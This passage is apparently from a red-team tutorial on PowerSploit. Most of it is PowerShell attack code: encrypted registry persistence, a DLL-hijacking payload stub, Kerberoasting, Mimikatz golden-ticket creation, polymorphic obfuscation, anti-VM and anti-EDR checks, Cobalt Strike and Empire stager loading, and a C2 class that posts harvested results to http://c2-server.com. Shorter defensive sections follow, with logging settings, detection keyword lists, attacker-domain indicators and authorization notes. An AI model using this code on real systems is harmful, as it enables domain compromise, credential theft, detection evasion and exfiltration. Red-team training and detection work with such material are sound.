[string]$ValueName = "WindowsUpdate",
[string]$EncryptionKey
)
# Encrypt payload
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Key = [System.Text.Encoding]::UTF8.GetBytes($EncryptionKey.PadRight(32, '0'))
$aes.GenerateIV()
$encryptor = $aes.CreateEncryptor()
$payloadBytes = [System.Text.Encoding]::UTF8.GetBytes($Payload)
$encryptedPayload = $encryptor.TransformFinalBlock($payloadBytes, 0, $payloadBytes.Length)
# Store encrypted payload and IV in registry
$registryValue = [Convert]::ToBase64String($aes.IV) + ":" + [Convert]::ToBase64String($encryptedPayload)
Set-ItemProperty -Path $RegistryKey -Name $ValueName -Value $registryValue
# Create decryption and execution script
$decryptionScript = @"
`$encryptedData = Get-ItemProperty -Path '$RegistryKey' -Name '$ValueName' | Select-Object -ExpandProperty '$ValueName'
`$parts = `$encryptedData.Split(':')
`$iv = [Convert]::FromBase64String(`$parts[0])
`$encryptedPayload = [Convert]::FromBase64String(`$parts[1])
`$aes = [System.Security.Cryptography.Aes]::Create()
`$aes.Key = [System.Text.Encoding]::UTF8.GetBytes('$EncryptionKey'.PadRight(32, '0'))
`$aes.IV = `$iv
`$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
`$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
`$decryptor = `$aes.CreateDecryptor()
`$decryptedPayload = `$decryptor.TransformFinalBlock(`$encryptedPayload, 0, `$encryptedPayload.Length)
`$payload = [System.Text.Encoding]::UTF8.GetString(`$decryptedPayload)
Invoke-Expression `$payload
"@
return $decryptionScript
}
Service-Based Persistence with DLL Hijacking
# Advanced service persistence using DLL hijacking
function New-ServiceDllHijackingPersistence {
param(
[string]$ServiceName,
[string]$TargetDll,
[string]$MaliciousDllPath
)
# Get service information
$service = Get-WmiObject -Class Win32_Service -Filter "Name='$ServiceName'"
$servicePath = $service.PathName
# Create malicious DLL that loads original DLL
$dllCode = @"
#include <windows.h>
#include <stdio.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// Load original DLL
LoadLibrary("$TargetDll");
// Execute malicious code
system("powershell.exe -EncodedCommand YOUR_ENCODED_PAYLOAD");
break;
}
return TRUE;
}
"@
# Compile and deploy malicious DLL
# This requires a C compiler and would be implemented based on the specific environment
return "DLL hijacking persistence established for service: $ServiceName"
}
Advanced Active Directory Exploitation
PowerSploit’s Active Directory capabilities can be extended for sophisticated domain exploitation techniques.
Kerberoasting with PowerView
# Advanced Kerberoasting technique
function Invoke-AdvancedKerberoasting {
param(
[string]$Domain,
[string]$OutputFile = "kerberoast_hashes.txt"
)
# Get all service accounts
$serviceAccounts = Get-NetUser -Filter "servicePrincipalName=*" -Properties servicePrincipalName, samaccountname, memberof
$kerberoastResults = @()
foreach ($account in $serviceAccounts) {
Write-Host "Attempting Kerberoasting for: $($account.samaccountname)"
# Request service ticket
$ticket = Invoke-Kerberoast -Identity $account.samaccountname -OutputFormat Hashcat
if ($ticket) {
$kerberoastResults += $ticket
Write-Host "Successfully obtained ticket for: $($account.samaccountname)"
}
}
# Save results
$kerberoastResults | Out-File -FilePath $OutputFile
Write-Host "Kerberoasting results saved to: $OutputFile"
return $kerberoastResults
}
Golden Ticket Creation
# Advanced Golden Ticket creation
function New-GoldenTicket {
param(
[string]$Domain,
[string]$DomainSID,
[string]$KRBTGTHash,
[string]$TargetUser = "Administrator",
[int]$TicketLifetime = 10
)
# Create golden ticket using Mimikatz
$mimikatzCommand = @"
privilege::debug
kerberos::golden /user:$TargetUser /domain:$Domain /sid:$DomainSID /krbtgt:$KRBTGTHash /ticket:golden_ticket.kirbi /ptt
"@
Invoke-Mimikatz -Command $mimikatzCommand
Write-Host "Golden ticket created for user: $TargetUser"
Write-Host "Ticket lifetime: $TicketLifetime years"
}
Advanced Evasion Techniques
Modern detection systems require sophisticated evasion techniques that go beyond basic obfuscation.
Polymorphic Code Generation
# Advanced polymorphic code generation
function New-PolymorphicPayload {
param(
[string]$OriginalPayload,
[int]$MutationLevel = 3
)
$mutatedPayload = $OriginalPayload
for ($i = 0; $i -lt $MutationLevel; $i++) {
# Random variable name generation
$randomVar = "var" + (Get-Random -Minimum 1000 -Maximum 9999)
$randomString = "str" + (Get-Random -Minimum 1000 -Maximum 9999)
# Insert random comments
$comments = @(
"# Random comment $(Get-Random -Minimum 1 -Maximum 100)",
"# System maintenance",
"# Windows update process",
"# Background service"
)
$randomComment = $comments | Get-Random
# Add random delays
$randomDelay = Get-Random -Minimum 1 -Maximum 10
# Mutate the payload
$mutatedPayload = $mutatedPayload -replace "Get-Process", "$randomVar = Get-Process"
$mutatedPayload = $mutatedPayload -replace "Invoke-Expression", "$randomString = Invoke-Expression"
$mutatedPayload = "$randomComment`nStart-Sleep -Seconds $randomDelay`n" + $mutatedPayload
}
return $mutatedPayload
}
Anti-Debugging and Anti-VM Techniques
# Advanced anti-debugging and anti-VM techniques
function Test-EnvironmentSafety {
$safetyChecks = @{
"Debugger" = $false
"VirtualMachine" = $false
"AnalysisTools" = $false
"Monitoring" = $false
}
# Check for debugger
try {
$debuggerPresent = [System.Diagnostics.Debugger]::IsAttached
if ($debuggerPresent) {
$safetyChecks["Debugger"] = $true
}
}
catch {
# Debugger check failed
}
# Check for virtual machine
$vmIndicators = @(
"VMware",
"VBox",
"Virtual",
"QEMU",
"Xen"
)
$computerSystem = Get-WmiObject -Class Win32_ComputerSystem
foreach ($indicator in $vmIndicators) {
if ($computerSystem.Model -like "*$indicator*" -or $computerSystem.Manufacturer -like "*$indicator*") {
$safetyChecks["VirtualMachine"] = $true
break
}
}
# Check for analysis tools
$analysisTools = @(
"Process Monitor",
"Wireshark",
"Fiddler",
"Process Hacker",
"Process Explorer"
)
$runningProcesses = Get-Process | Select-Object -ExpandProperty ProcessName
foreach ($tool in $analysisTools) {
if ($runningProcesses -contains $tool) {
$safetyChecks["AnalysisTools"] = $true
break
}
}
# Check for monitoring
$monitoringServices = @(
"Sysmon",
"Windows Defender",
"McAfee",
"Symantec"
)
$runningServices = Get-Service | Where-Object {$_.Status -eq "Running"} | Select-Object -ExpandProperty Name
foreach ($service in $monitoringServices) {
if ($runningServices -like "*$service*") {
$safetyChecks["Monitoring"] = $true
break
}
}
return $safetyChecks
}
Real-World Case Studies
Understanding how PowerSploit has been used in real-world scenarios provides valuable insights into its practical applications and limitations.
Case Study 1: Enterprise Network Compromise
In 2019, a sophisticated attack campaign targeted a large enterprise network using PowerSploit modules as part of a multi-stage attack. The attackers gained initial access through a phishing campaign and used PowerSploit for lateral movement and persistence.
Attack Timeline
- Initial Access: Phishing email with malicious attachment
- Reconnaissance: PowerView used for Active Directory enumeration
- Lateral Movement: WMI commands executed through PowerSploit
- Persistence: Registry-based persistence established
- Data Exfiltration: Mimikatz used for credential harvesting
Key Lessons
- PowerSploit modules were detected by modern EDR solutions
- Attackers had to heavily modify modules to evade detection
- The modular approach allowed for selective tool usage
- Integration with other frameworks was essential for success
Case Study 2: Red Team Assessment
During a 2020 red team assessment, PowerSploit was used to demonstrate the effectiveness of PowerShell-based attacks against a financial institution’s network.
Assessment Results
- Detection Rate: 85% of PowerSploit activities were detected
- Evasion Success: Modified modules achieved 40% success rate
- Persistence: Registry-based persistence remained undetected for 72 hours
- Lateral Movement: WMI-based movement was successful in 60% of attempts
Recommendations
- Implement comprehensive PowerShell logging
- Deploy advanced EDR solutions with behavioral analysis
- Regular security assessments using similar tools
- Employee training on PowerShell security risks
Case Study 3: APT Group Analysis
Analysis of APT group activities revealed the use of PowerSploit-inspired techniques in multiple campaigns. While the groups didn’t use PowerSploit directly, they employed similar PowerShell-based techniques.
Common Techniques
- Memory-resident payload execution
- Active Directory enumeration
- Credential harvesting
- Lateral movement via WMI
Defensive Measures
- Advanced threat hunting capabilities
- Behavioral analysis of PowerShell execution
- Network segmentation and monitoring
- Regular security updates and patches
Future of PowerShell-Based Offensive Security
As defensive technologies evolve, PowerShell-based offensive techniques must adapt to remain effective. Understanding future trends helps red teamers prepare for upcoming challenges.
Emerging Threats
PowerShell Core (Pwsh) Exploitation
PowerShell Core introduces new capabilities and potential attack vectors that red teamers must understand and exploit.
# PowerShell Core specific techniques
# Cross-platform compatibility
if ($IsWindows) {
# Windows-specific code
Invoke-WindowsSpecificAttack
}
elseif ($IsLinux) {
# Linux-specific code
Invoke-LinuxSpecificAttack
}
elseif ($IsMacOS) {
# macOS-specific code
Invoke-MacOSSpecificAttack
}
JEA (Just Enough Administration) Bypass
JEA provides constrained PowerShell sessions that limit administrative capabilities. Bypassing these restrictions requires sophisticated techniques.
# JEA bypass techniques
# Check JEA configuration
$jeaConfig = Get-PSSessionConfiguration | Where-Object {$_.Name -like "*JEA*"}
# Attempt to bypass restrictions
$bypassTechniques = @(
"PowerShell downgrade attack",
"Alternative execution methods",
"Process injection techniques",
"Registry manipulation"
)
Defensive Evolution
AMSI Improvements
Microsoft continues to enhance AMSI capabilities, making PowerShell-based attacks more difficult to execute successfully.
PowerShell Core Security
PowerShell Core introduces additional security features that must be considered in offensive operations.
Cloud Integration
As organizations move to cloud environments, PowerShell-based attacks must adapt to target cloud resources and services.
PowerSploit in Modern Security Landscapes
The cybersecurity landscape has evolved significantly since PowerSploit’s initial release. Understanding how PowerSploit fits into modern security architectures and how it has influenced current offensive security practices is crucial for both red teamers and defenders.
Evolution of Detection Capabilities
Modern EDR solutions have fundamentally changed the effectiveness of PowerSploit’s out-of-the-box techniques. Understanding these changes helps red teamers adapt their approaches and defenders improve their detection capabilities.
Signature-Based Detection
Early antivirus solutions relied heavily on signature-based detection, which PowerSploit could often evade through basic obfuscation techniques. Modern solutions employ more sophisticated detection methods.
# Early signature evasion techniques (now largely ineffective)
$originalCommand = "Invoke-Mimikatz"
$obfuscatedCommand = $originalCommand -replace "Invoke", "I`nvoke" -replace "Mimikatz", "M`imikatz"
# Modern detection bypass requires more sophisticated techniques
$bypassTechniques = @(
"Memory-only execution",
"Process hollowing",
"Thread hijacking",
"Direct syscalls"
)
Behavioral Analysis
Modern EDR solutions analyze behavior patterns rather than relying solely on signatures. This requires more sophisticated evasion techniques.
# Behavioral analysis evasion
function Invoke-BehavioralEvasion {
# Implement legitimate-looking behavior patterns
$legitimateActivities = @(
"System maintenance tasks",
"Software updates",
"Performance monitoring",
"Security scanning"
)
# Mix malicious activities with legitimate ones
foreach ($activity in $legitimateActivities) {
# Perform legitimate activity
Start-LegitimateActivity -Activity $activity
# Insert malicious activity
Start-Sleep -Seconds (Get-Random -Minimum 5 -Maximum 15)
Invoke-MaliciousActivity
# Continue legitimate activity
Start-Sleep -Seconds (Get-Random -Minimum 10 -Maximum 30)
}
}
Machine Learning Detection
Advanced EDR solutions use machine learning to detect anomalous PowerShell execution patterns.
# Machine learning evasion techniques
function Invoke-MachineLearningEvasion {
# Use natural language patterns
$naturalCommands = @(
"Get-Process | Where-Object {$_.CPU -gt 10}",
"Get-Service | Where-Object {$_.Status -eq 'Running'}",
"Get-EventLog -LogName Security -Newest 100"
)
# Mix malicious commands with natural ones
foreach ($command in $naturalCommands) {
Invoke-Expression $command
Start-Sleep -Seconds (Get-Random -Minimum 2 -Maximum 8)
}
# Execute malicious payload with natural context
$maliciousPayload = "Invoke-Mimikatz"
$context = "System diagnostics and security analysis"
# Execute in context
Invoke-Expression $maliciousPayload
}
Integration with Modern C2 Frameworks
PowerSploit’s modular design makes it compatible with modern command and control frameworks, though integration requires careful consideration of operational security.
Cobalt Strike Integration
Cobalt Strike’s PowerShell execution capabilities can leverage PowerSploit modules for enhanced post-exploitation activities.
# Cobalt Strike beacon with PowerSploit integration
$beaconCommands = @{
"recon" = {
Import-Module .\Recon\PowerView.ps1
Get-NetUser -Filter * | Select-Object samaccountname, displayname, lastlogon
}
"privilege_escalation" = {
Import-Module .\Privesc\PowerUp.ps1
Invoke-AllChecks | Where-Object {$_.AbuseFunction}
}
"credential_harvesting" = {
Import-Module .\Exfiltration\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords full"'
}
"lateral_movement" = {
Import-Module .\CodeExecution\Invoke-WmiCommand.ps1
Invoke-WmiCommand -ComputerName "TARGET-PC" -ScriptBlock { Get-Process }
}
}
# Execute based on beacon command
$command = $args[0]
if ($beaconCommands.ContainsKey($command)) {
& $beaconCommands[$command]
}
Empire Integration
Empire’s modular architecture allows seamless integration with PowerSploit modules.
# Empire stager with PowerSploit module loading
$empireStager = @'
# Empire stager code
$stager = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("EMPIRE_STAGER_BASE64"))
# Load PowerSploit modules
$modules = @(
".\Recon\PowerView.ps1",
".\Exfiltration\Invoke-Mimikatz.ps1",
".\Privesc\PowerUp.ps1"
)
foreach ($module in $modules) {
Import-Module $module -ErrorAction SilentlyContinue
}
# Execute Empire stager
Invoke-Expression $stager
'@
Invoke-Expression $empireStager
Custom C2 Framework Integration
PowerSploit modules can be integrated into custom command and control frameworks for specialized operations.
# Custom C2 framework integration
class PowerSploitC2Integration {
[string]$C2Server
[string]$AgentID
[hashtable]$Modules
PowerSploitC2Integration([string]$server, [string]$agentId) {
$this.C2Server = $server
$this.AgentID = $agentId
$this.Modules = @{}
$this.LoadModules()
}
[void]LoadModules() {
$this.Modules["PowerView"] = ".\Recon\PowerView.ps1"
$this.Modules["Mimikatz"] = ".\Exfiltration\Invoke-Mimikatz.ps1"
$this.Modules["PowerUp"] = ".\Privesc\PowerUp.ps1"
}
[object]ExecuteModule([string]$moduleName, [hashtable]$parameters) {
if ($this.Modules.ContainsKey($moduleName)) {
Import-Module $this.Modules[$moduleName]
# Execute module with parameters
$result = & $moduleName @parameters
# Send results to C2 server
$this.SendResults($result)
return $result
}
else {
throw "Module $moduleName not found"
}
}
[void]SendResults([object]$results) {
$encodedResults = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($results))
$payload = @{
agent_id = $this.AgentID
results = $encodedResults
timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
}
$jsonPayload = $payload | ConvertTo-Json
Invoke-RestMethod -Uri "$($this.C2Server)/results" -Method POST -Body $jsonPayload -ContentType "application/json"
}
}
# Usage example
$c2Integration = [PowerSploitC2Integration]::new("http://c2-server.com", "agent-001")
$c2Integration.ExecuteModule("PowerView", @{Filter = "*"})
Defensive Countermeasures
Understanding how defenders can counter PowerSploit-based attacks helps red teamers develop more sophisticated techniques and defenders improve their security posture.
PowerShell Logging and Monitoring
Comprehensive PowerShell logging is essential for detecting PowerSploit-based attacks.
# PowerShell logging configuration
$loggingConfig = @{
"ModuleLogging" = $true
"ScriptBlockLogging" = $true
"Transcription" = $true
"AMSI" = $true
}
# Configure PowerShell logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" -Name "EnableLogging" -Value 1
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" -Name "EnableScriptBlockLogging" -Value 1
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" -Name "EnableTranscription" -Value 1
Behavioral Monitoring
Monitoring PowerShell execution patterns can help detect anomalous activities.
# PowerShell execution monitoring
$monitoringRules = @{
"SuspiciousCommands" = @(
"Invoke-Expression",
"Invoke-Command",
"IEX",
"powershell.exe -EncodedCommand"
)
"SuspiciousModules" = @(
"PowerView",
"Mimikatz",
"PowerUp",
"Invoke-Mimikatz"
)
"SuspiciousPatterns" = @(
"Base64 encoded commands",
"Obfuscated variable names",
"Suspicious network connections",
"Registry modifications"
)
}
# Monitor PowerShell execution
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object {
$event = $_
$suspicious = $false
foreach ($rule in $monitoringRules.GetEnumerator()) {
foreach ($pattern in $rule.Value) {
if ($event.Message -like "*$pattern*") {
$suspicious = $true
break
}
}
if ($suspicious) { break }
}
return $suspicious
}
Network Monitoring
Monitoring network traffic for PowerSploit-related activities can help detect attacks.
# Network monitoring for PowerSploit activities
$networkIndicators = @{
"DNSQueries" = @(
"*.attacker.com",
"*.malware.com",
"*.c2-server.com"
)
"HTTPRequests" = @(
"POST /results",
"GET /payload",
"POST /beacon"
)
"SuspiciousPorts" = @(
4444, # Common C2 port
8080, # Alternative C2 port
443 # HTTPS C2
)
}
# Monitor network connections
Get-NetTCPConnection | Where-Object {
$connection = $_
$suspicious = $false
# Check for suspicious ports
if ($connection.RemotePort -in $networkIndicators["SuspiciousPorts"]) {
$suspicious = $true
}
# Check for suspicious remote addresses
foreach ($indicator in $networkIndicators["DNSQueries"]) {
if ($connection.RemoteAddress -like $indicator) {
$suspicious = $true
break
}
}
return $suspicious
}
Legal and Ethical Considerations
Using PowerSploit and similar tools requires careful consideration of legal and ethical implications.
Authorization Requirements
All offensive security activities must be properly authorized before execution.
# Authorization verification
function Test-Authorization {
param(
[string]$Target,
[string]$Scope,
[datetime]$ExpirationDate
)
$authorization = @{
Target = $Target
Scope = $Scope
ExpirationDate = $ExpirationDate
AuthorizedBy = "Security Team"
AuthorizationID = "AUTH-2024-001"
}
# Verify authorization is still valid
if ((Get-Date) -gt $ExpirationDate) {
throw "Authorization has expired. Please obtain new authorization before proceeding."
}
# Log authorization check
Write-Log -Message "Authorization verified for target: $Target" -Level "Info"
return $authorization
}
Documentation Requirements
Proper documentation of all activities is essential for legal compliance and audit purposes.
# Activity logging
function Write-ActivityLog {
param(
[string]$Activity,
[string]$Target,
[string]$Result,
[string]$Technique
)
$logEntry = @{
Timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
Activity = $Activity
Target = $Target
Result = $Result
Technique = $Technique
Operator = $env:USERNAME
SessionID = $PID
}
$logPath = "C:\Logs\RedTeam\activity_log.json"
$existingLog = Get-Content $logPath -ErrorAction SilentlyContinue | ConvertFrom-Json
$existingLog += $logEntry
$existingLog | ConvertTo-Json -Depth 10 | Set-Content $logPath
Write-Host "Activity logged: $Activity on $Target"
}
Incident Response Preparation
Red team activities should include preparation for potential incident response scenarios.
# Incident response preparation
function Start-IncidentResponsePreparation {
# Document current state
$systemState = @{
Processes = Get-Process | Select-Object Name, Id, Path
Services = Get-Service | Select-Object Name, Status, StartType
NetworkConnections = Get-NetTCPConnection | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State
RegistryModifications = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" | Select-Object PSChildName, *
}
# Save system state
$systemState | ConvertTo-Json -Depth 10 | Set-Content "C:\Logs\RedTeam\system_state.json"
# Create incident response plan
$irPlan = @{
ContactInformation = @{
SecurityTeam = "security@company.com"
LegalTeam = "legal@company.com"
Management = "management@company.com"
}
EscalationProcedures = @(
"Immediate notification to security team",
"Documentation of all activities",
"Preservation of evidence",
"Communication with stakeholders"
)
EvidencePreservation = @(
"Memory dumps",
"Log files",
"Network captures",
"System snapshots"
)
}
$irPlan | ConvertTo-Json -Depth 10 | Set-Content "C:\Logs\RedTeam\incident_response_plan.json"
Write-Host "Incident response preparation completed"
}
References
Official Documentation
- PowerSploit GitHub Repository
- PowerShell Documentation
- Microsoft Security Response Center
- PowerShell Core Documentation
Related Tools and Frameworks
Security Resources
- MITRE ATT&CK Framework
- Red Canary Atomic Red Team
- PowerShell Execution Policies
- PowerShell Constrained Language Mode
Detection and Monitoring
Ethical Guidelines
- Penetration Testing Execution Standard
- NIST Cybersecurity Framework
- SANS Penetration Testing Methodology
- OSSTMM Security Testing Methodology
Advanced Research
- PowerShell Security Research
- AMSI Bypass Techniques
- PowerShell Obfuscation Techniques
- Active Directory Security
Stay sharp out there, and good hunting.